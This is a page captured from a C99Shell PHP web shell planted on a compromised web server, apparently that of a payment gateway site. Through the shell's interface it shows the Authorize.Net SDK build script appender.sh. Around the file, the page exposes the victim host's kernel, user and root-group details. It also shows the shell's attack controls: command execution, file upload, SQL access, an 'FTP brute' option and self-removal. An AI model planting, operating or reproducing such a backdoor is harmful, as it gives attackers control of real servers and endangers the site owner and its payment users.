!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/authorizenet/authorizenet/scripts/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     appender.sh (1.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/bin/bash

echo "Start appending : `date`"

# List filenames with request, response and type and remove the file path upto v1 i.e. 38 characters
find lib/net/authorize/api/contract/v1 -print | grep -i -e "request\.php"   | cut -c 35-  > scripts/requestList.txt
find lib/net/authorize/api/contract/v1 -print | grep -i -e "response\.php"  | cut -c 35-  > scripts/responseList.txt
find lib/net/authorize/api/contract/v1 -print | grep -i -e "type\.php"      | cut -c 35-  > scripts/typeList.txt
find lib/net/authorize/api/contract/v1 -print | grep -i -e "type\.php"    > scripts/typeList2.txt

#mkdir -p ../lib/net/authorize/api/contract/v1/backup

#appendJsonSeralizeCode=`cat appendJsonSeralizeCode.txt`
#appendSetCode=`cat appendSetCode.txt`

echo "Taking backup of Types"
perl scripts/backup.pl scripts/typeList.txt
echo "Appending JsonSerialize code to Types"
perl scripts/appendJsonSerializeCode.pl scripts/typeList.txt
echo "Appending Set code to Types"
perl scripts/appendSetCode.pl scripts/typeList.txt


echo "Taking backup of Requests"
perl scripts/backup.pl scripts/requestList.txt
echo "Appending JsonSerialize code to Requests"
perl scripts/appendJsonSerializeCode.pl scripts/requestList.txt
#echo "Appending Set code to Requests"
#perl appendSetCode.pl requestList.txt

echo "Taking backup of Responses"
perl scripts/backup.pl scripts/responseList.txt
#echo "Appending JsonSerialize code to Responses"
#perl appendJsonSeralizeCode.pl responseList.txt
echo "Appending Set code to Responses"
perl scripts/appendSetCode.pl scripts/responseList.txt

echo "Appending implements JsonSerializable to Types"
list="scripts/typeList2.txt"
while read -r filename
do
    filename=$(echo "$filename" | sed -e "s/^\.\///g")
    # echo "Appending implements JsonSerializable to - $filename"
    sed -i.bak '/^class/ s/$/ implements \\JsonSerializable/' "$filename"

done < "$list"

php lib/net/authorize/util/MapperGen.php

git clean -fdq lib/net/authorize/api/contract/v1 -e "*.php"

echo "Completed!"


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--